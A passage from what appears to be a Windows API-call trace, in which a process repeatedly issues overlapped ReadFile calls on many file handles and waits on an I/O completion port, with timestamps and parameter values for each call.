lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.008] ReadFile (in: hFile=0x454, lpBuffer=0x4ff0170, nNumberOfBytesToRead=0x97958, lpNumberOfBytesRead=0x0, lpOverlapped=0x4ff0020 | out: lpBuffer=0x4ff0170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4ff0020) returned 1 [0112.027] RtlGetLastWin32Error () returned 0x3e5 [0112.027] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.042] ReadFile (in: hFile=0x45c, lpBuffer=0x51a0170, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x0, lpOverlapped=0x51a0020 | out: lpBuffer=0x51a0170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x51a0020) returned 1 [0112.086] RtlGetLastWin32Error () returned 0x3e5 [0112.086] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.086] ReadFile (in: hFile=0x464, lpBuffer=0x388bbf0, nNumberOfBytesToRead=0x412f, lpNumberOfBytesRead=0x0, lpOverlapped=0x388baa0 | out: lpBuffer=0x388bbf0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x388baa0) returned 1 [0112.087] RtlGetLastWin32Error () returned 0x3e5 [0112.087] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.087] ReadFile (in: hFile=0x468, lpBuffer=0x52b0198, nNumberOfBytesToRead=0x1055b, lpNumberOfBytesRead=0x0, lpOverlapped=0x52b0048 | out: lpBuffer=0x52b0198*, lpNumberOfBytesRead=0x0, lpOverlapped=0x52b0048) returned 1 [0112.088] RtlGetLastWin32Error () returned 0x3e5 [0112.088] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.088] ReadFile (in: hFile=0x46c, lpBuffer=0x52cb0b8, nNumberOfBytesToRead=0xdf28, lpNumberOfBytesRead=0x0, lpOverlapped=0x52caf68 | out: lpBuffer=0x52cb0b8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x52caf68) returned 1 [0112.089] RtlGetLastWin32Error () returned 0x3e5 [0112.090] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.090] ReadFile (in: hFile=0x470, lpBuffer=0x52d9138, nNumberOfBytesToRead=0x37d1, lpNumberOfBytesRead=0x0, lpOverlapped=0x52d8fe8 | out: lpBuffer=0x52d9138*, lpNumberOfBytesRead=0x0, lpOverlapped=0x52d8fe8) returned 1 [0112.090] RtlGetLastWin32Error () returned 0x3e5 [0112.091] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.091] ReadFile (in: hFile=0x474, lpBuffer=0x52dca68, nNumberOfBytesToRead=0x10207, lpNumberOfBytesRead=0x0, lpOverlapped=0x52dc918 | out: lpBuffer=0x52dca68*, lpNumberOfBytesRead=0x0, lpOverlapped=0x52dc918) returned 1 [0112.092] RtlGetLastWin32Error () returned 0x3e5 [0112.092] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.092] ReadFile (in: hFile=0x478, lpBuffer=0x52ecdc8, nNumberOfBytesToRead=0x3ebe, lpNumberOfBytesRead=0x0, lpOverlapped=0x52ecc78 | out: lpBuffer=0x52ecdc8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x52ecc78) returned 1 [0112.093] RtlGetLastWin32Error () returned 0x3e5 [0112.093] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.093] ReadFile (in: hFile=0x47c, lpBuffer=0x52f0de0, nNumberOfBytesToRead=0x51db, lpNumberOfBytesRead=0x0, lpOverlapped=0x52f0c90 | out: lpBuffer=0x52f0de0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x52f0c90) returned 1 [0112.094] RtlGetLastWin32Error () returned 0x3e5 [0112.094] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.094] ReadFile (in: hFile=0x480, lpBuffer=0x52f6118, nNumberOfBytesToRead=0x17bc1, lpNumberOfBytesRead=0x0, lpOverlapped=0x52f5fc8 | out: lpBuffer=0x52f6118*, lpNumberOfBytesRead=0x0, lpOverlapped=0x52f5fc8) returned 1 [0112.096] RtlGetLastWin32Error () returned 0x3e5 [0112.096] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.096] ReadFile (in: hFile=0x484, lpBuffer=0x530de38, nNumberOfBytesToRead=0x17ee1, lpNumberOfBytesRead=0x0, lpOverlapped=0x530dce8 | out: lpBuffer=0x530de38*, lpNumberOfBytesRead=0x0, lpOverlapped=0x530dce8) returned 1 [0112.097] RtlGetLastWin32Error () returned 0x3e5 [0112.097] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.097] ReadFile (in: hFile=0x488, lpBuffer=0x5325e78, nNumberOfBytesToRead=0xb8b9, lpNumberOfBytesRead=0x0, lpOverlapped=0x5325d28 | out: lpBuffer=0x5325e78*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5325d28) returned 1 [0112.098] RtlGetLastWin32Error () returned 0x3e5 [0112.098] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.099] ReadFile (in: hFile=0x48c, lpBuffer=0x5331890, nNumberOfBytesToRead=0xce69, lpNumberOfBytesRead=0x0, lpOverlapped=0x5331740 | out: lpBuffer=0x5331890*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5331740) returned 1 [0112.100] RtlGetLastWin32Error () returned 0x3e5 [0112.100] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.100] ReadFile (in: hFile=0x490, lpBuffer=0x533e858, nNumberOfBytesToRead=0x100bb, lpNumberOfBytesRead=0x0, lpOverlapped=0x533e708 | out: lpBuffer=0x533e858*, lpNumberOfBytesRead=0x0, lpOverlapped=0x533e708) returned 1 [0112.101] RtlGetLastWin32Error () returned 0x3e5 [0112.101] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.101] ReadFile (in: hFile=0x494, lpBuffer=0x534ea70, nNumberOfBytesToRead=0xc676, lpNumberOfBytesRead=0x0, lpOverlapped=0x534e920 | out: lpBuffer=0x534ea70*, lpNumberOfBytesRead=0x0, lpOverlapped=0x534e920) returned 1 [0112.103] RtlGetLastWin32Error () returned 0x3e5 [0112.103] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.103] ReadFile (in: hFile=0x498, lpBuffer=0x535b240, nNumberOfBytesToRead=0x66c6, lpNumberOfBytesRead=0x0, lpOverlapped=0x535b0f0 | out: lpBuffer=0x535b240*, lpNumberOfBytesRead=0x0, lpOverlapped=0x535b0f0) returned 1 [0112.104] RtlGetLastWin32Error () returned 0x3e5 [0112.104] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.104] ReadFile (in: hFile=0x49c, lpBuffer=0x5361a60, nNumberOfBytesToRead=0x661e, lpNumberOfBytesRead=0x0, lpOverlapped=0x5361910 | out: lpBuffer=0x5361a60*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5361910) returned 1 [0112.105] RtlGetLastWin32Error () returned 0x3e5 [0112.105] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.105] ReadFile (in: hFile=0x4a0, lpBuffer=0x53681d8, nNumberOfBytesToRead=0x53f1, lpNumberOfBytesRead=0x0, lpOverlapped=0x5368088 | out: lpBuffer=0x53681d8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5368088) returned 1 [0112.106] RtlGetLastWin32Error () returned 0x3e5 [0112.106] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.106] ReadFile (in: hFile=0x4a4, lpBuffer=0x536d728, nNumberOfBytesToRead=0x17698, lpNumberOfBytesRead=0x0, lpOverlapped=0x536d5d8 | out: lpBuffer=0x536d728*, lpNumberOfBytesRead=0x0, lpOverlapped=0x536d5d8) returned 1 [0112.107] RtlGetLastWin32Error () returned 0x3e5 [0112.108] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.108] ReadFile (in: hFile=0x4a8, lpBuffer=0x5384f18, nNumberOfBytesToRead=0x9a9f, lpNumberOfBytesRead=0x0, lpOverlapped=0x5384dc8 | out: lpBuffer=0x5384f18*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5384dc8) returned 1 [0112.121] RtlGetLastWin32Error () returned 0x3e5 [0112.122] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.122] ReadFile (in: hFile=0x4ac, lpBuffer=0x538eb10, nNumberOfBytesToRead=0x8fc6, lpNumberOfBytesRead=0x0, lpOverlapped=0x538e9c0 | out: lpBuffer=0x538eb10*, lpNumberOfBytesRead=0x0, lpOverlapped=0x538e9c0) returned 1 [0112.123] RtlGetLastWin32Error () returned 0x3e5 [0112.123] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.123] ReadFile (in: hFile=0x4b0, lpBuffer=0x5397c30, nNumberOfBytesToRead=0x15c02, lpNumberOfBytesRead=0x0, lpOverlapped=0x5397ae0 | out: lpBuffer=0x5397c30*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5397ae0) returned 1 [0112.124] RtlGetLastWin32Error () returned 0x3e5 [0112.124] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.124] ReadFile (in: hFile=0x4b4, lpBuffer=0x53ad990, nNumberOfBytesToRead=0x16ce9, lpNumberOfBytesRead=0x0, lpOverlapped=0x53ad840 | out: lpBuffer=0x53ad990*, lpNumberOfBytesRead=0x0, lpOverlapped=0x53ad840) returned 1 [0112.126] RtlGetLastWin32Error () returned 0x3e5 [0112.126] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.126] ReadFile (in: hFile=0x4b8, lpBuffer=0x53c47d8, nNumberOfBytesToRead=0x18b3b, lpNumberOfBytesRead=0x0, lpOverlapped=0x53c4688 | out: lpBuffer=0x53c47d8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x53c4688) returned 1 [0112.127] RtlGetLastWin32Error () returned 0x3e5 [0112.127] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.127] ReadFile (in: hFile=0x4bc, lpBuffer=0x53dd470, nNumberOfBytesToRead=0x5634, lpNumberOfBytesRead=0x0, lpOverlapped=0x53dd320 | out: lpBuffer=0x53dd470*, lpNumberOfBytesRead=0x0, lpOverlapped=0x53dd320) returned 1 [0112.128] RtlGetLastWin32Error () returned 0x3e5 [0112.128] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.129] ReadFile (in: hFile=0x4c0, lpBuffer=0x53e2c00, nNumberOfBytesToRead=0x87c5, lpNumberOfBytesRead=0x0, lpOverlapped=0x53e2ab0 | out: lpBuffer=0x53e2c00*, lpNumberOfBytesRead=0x0, lpOverlapped=0x53e2ab0) returned 1 [0112.129] RtlGetLastWin32Error () returned 0x3e5 [0112.130] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.130] ReadFile (in: hFile=0x4c4, lpBuffer=0x388fe78, nNumberOfBytesToRead=0x4c8, lpNumberOfBytesRead=0x0, lpOverlapped=0x388fd28 | out: lpBuffer=0x388fe78*, lpNumberOfBytesRead=0x0, lpOverlapped=0x388fd28) returned 1 [0112.130] RtlGetLastWin32Error () returned 0x3e5 [0112.131] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.131] ReadFile (in: hFile=0x340, lpBuffer=0x53eb520, nNumberOfBytesToRead=0x12d39, lpNumberOfBytesRead=0x0, lpOverlapped=0x53eb3d0 | out: lpBuffer=0x53eb520*, lpNumberOfBytesRead=0x0, lpOverlapped=0x53eb3d0) returned 1 [0112.132] RtlGetLastWin32Error () returned 0x3e5 [0112.132] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.132] ReadFile (in: hFile=0x4c8, lpBuffer=0x53fe3b8, nNumberOfBytesToRead=0xa3a6, lpNumberOfBytesRead=0x0, lpOverlapped=0x53fe268 | out: lpBuffer=0x53fe3b8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x53fe268) returned 1 [0112.133] RtlGetLastWin32Error () returned 0x3e5 [0112.133] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.133] ReadFile (in: hFile=0x4cc, lpBuffer=0x54088b8, nNumberOfBytesToRead=0x10497, lpNumberOfBytesRead=0x0, lpOverlapped=0x5408768 | out: lpBuffer=0x54088b8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5408768) returned 1 [0112.134] RtlGetLastWin32Error () returned 0x3e5 [0112.135] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.135] ReadFile (in: hFile=0x4d0, lpBuffer=0x5418ea8, nNumberOfBytesToRead=0x12dde, lpNumberOfBytesRead=0x0, lpOverlapped=0x5418d58 | out: lpBuffer=0x5418ea8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5418d58) returned 1 [0112.136] RtlGetLastWin32Error () returned 0x3e5 [0112.136] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.136] ReadFile (in: hFile=0x4d4, lpBuffer=0x542bde0, nNumberOfBytesToRead=0x16c5e, lpNumberOfBytesRead=0x0, lpOverlapped=0x542bc90 | out: lpBuffer=0x542bde0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x542bc90) returned 1 [0112.137] RtlGetLastWin32Error () returned 0x3e5 [0112.138] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.138] ReadFile (in: hFile=0x4d8, lpBuffer=0x5442b98, nNumberOfBytesToRead=0x1706b, lpNumberOfBytesRead=0x0, lpOverlapped=0x5442a48 | out: lpBuffer=0x5442b98*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5442a48) returned 1 [0112.139] RtlGetLastWin32Error () returned 0x3e5 [0112.139] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.139] ReadFile (in: hFile=0x4dc, lpBuffer=0x39781f0, nNumberOfBytesToRead=0x1751, lpNumberOfBytesRead=0x0, lpOverlapped=0x39780a0 | out: lpBuffer=0x39781f0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x39780a0) returned 1 [0112.140] RtlGetLastWin32Error () returned 0x3e5 [0112.140] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.140] ReadFile (in: hFile=0x4e0, lpBuffer=0x5459d60, nNumberOfBytesToRead=0x107b6, lpNumberOfBytesRead=0x0, lpOverlapped=0x5459c10 | out: lpBuffer=0x5459d60*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5459c10) returned 1 [0112.142] RtlGetLastWin32Error () returned 0x3e5 [0112.142] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.142] ReadFile (in: hFile=0x4e4, lpBuffer=0x546a670, nNumberOfBytesToRead=0xb74d, lpNumberOfBytesRead=0x0, lpOverlapped=0x546a520 | out: lpBuffer=0x546a670*, lpNumberOfBytesRead=0x0, lpOverlapped=0x546a520) returned 1 [0112.143] RtlGetLastWin32Error () returned 0x3e5 [0112.143] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.143] ReadFile (in: hFile=0x4e8, lpBuffer=0x5475f18, nNumberOfBytesToRead=0xc859, lpNumberOfBytesRead=0x0, lpOverlapped=0x5475dc8 | out: lpBuffer=0x5475f18*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5475dc8) returned 1 [0112.144] RtlGetLastWin32Error () returned 0x3e5 [0112.145] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.145] ReadFile (in: hFile=0x4ec, lpBuffer=0x54828d0, nNumberOfBytesToRead=0x13990, lpNumberOfBytesRead=0x0, lpOverlapped=0x5482780 | out: lpBuffer=0x54828d0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5482780) returned 1 [0112.146] RtlGetLastWin32Error () returned 0x3e5 [0112.146] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.147] ReadFile (in: hFile=0x4f0, lpBuffer=0x54963b8, nNumberOfBytesToRead=0x6d16, lpNumberOfBytesRead=0x0, lpOverlapped=0x5496268 | out: lpBuffer=0x54963b8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5496268) returned 1 [0112.148] RtlGetLastWin32Error () returned 0x3e5 [0112.148] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.148] ReadFile (in: hFile=0x4f4, lpBuffer=0x549d228, nNumberOfBytesToRead=0x163d8, lpNumberOfBytesRead=0x0, lpOverlapped=0x549d0d8 | out: lpBuffer=0x549d228*, lpNumberOfBytesRead=0x0, lpOverlapped=0x549d0d8) returned 1 [0112.149] RtlGetLastWin32Error () returned 0x3e5 [0112.149] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.149] ReadFile (in: hFile=0x4f8, lpBuffer=0x54b3758, nNumberOfBytesToRead=0x39a2, lpNumberOfBytesRead=0x0, lpOverlapped=0x54b3608 | out: lpBuffer=0x54b3758*, lpNumberOfBytesRead=0x0, lpOverlapped=0x54b3608) returned 1 [0112.150] RtlGetLastWin32Error () returned 0x3e5 [0112.151] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.151] ReadFile (in: hFile=0x4fc, lpBuffer=0x54b7258, nNumberOfBytesToRead=0x13133, lpNumberOfBytesRead=0x0, lpOverlapped=0x54b7108 | out: lpBuffer=0x54b7258*, lpNumberOfBytesRead=0x0, lpOverlapped=0x54b7108) returned 1 [0112.152] RtlGetLastWin32Error () returned 0x3e5 [0112.152] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.152] ReadFile (in: hFile=0x500, lpBuffer=0x54ca4e8, nNumberOfBytesToRead=0x7d1f, lpNumberOfBytesRead=0x0, lpOverlapped=0x54ca398 | out: lpBuffer=0x54ca4e8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x54ca398) returned 1 [0112.153] RtlGetLastWin32Error () returned 0x3e5 [0112.154] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.154] ReadFile (in: hFile=0x504, lpBuffer=0x54d2360, nNumberOfBytesToRead=0x10e3a, lpNumberOfBytesRead=0x0, lpOverlapped=0x54d2210 | out: lpBuffer=0x54d2360*, lpNumberOfBytesRead=0x0, lpOverlapped=0x54d2210) returned 1 [0112.155] RtlGetLastWin32Error () returned 0x3e5 [0112.155] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.155] ReadFile (in: hFile=0x508, lpBuffer=0x54e32f8, nNumberOfBytesToRead=0x1598b, lpNumberOfBytesRead=0x0, lpOverlapped=0x54e31a8 | out: lpBuffer=0x54e32f8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x54e31a8) returned 1 [0112.156] RtlGetLastWin32Error () returned 0x3e5 [0112.157] 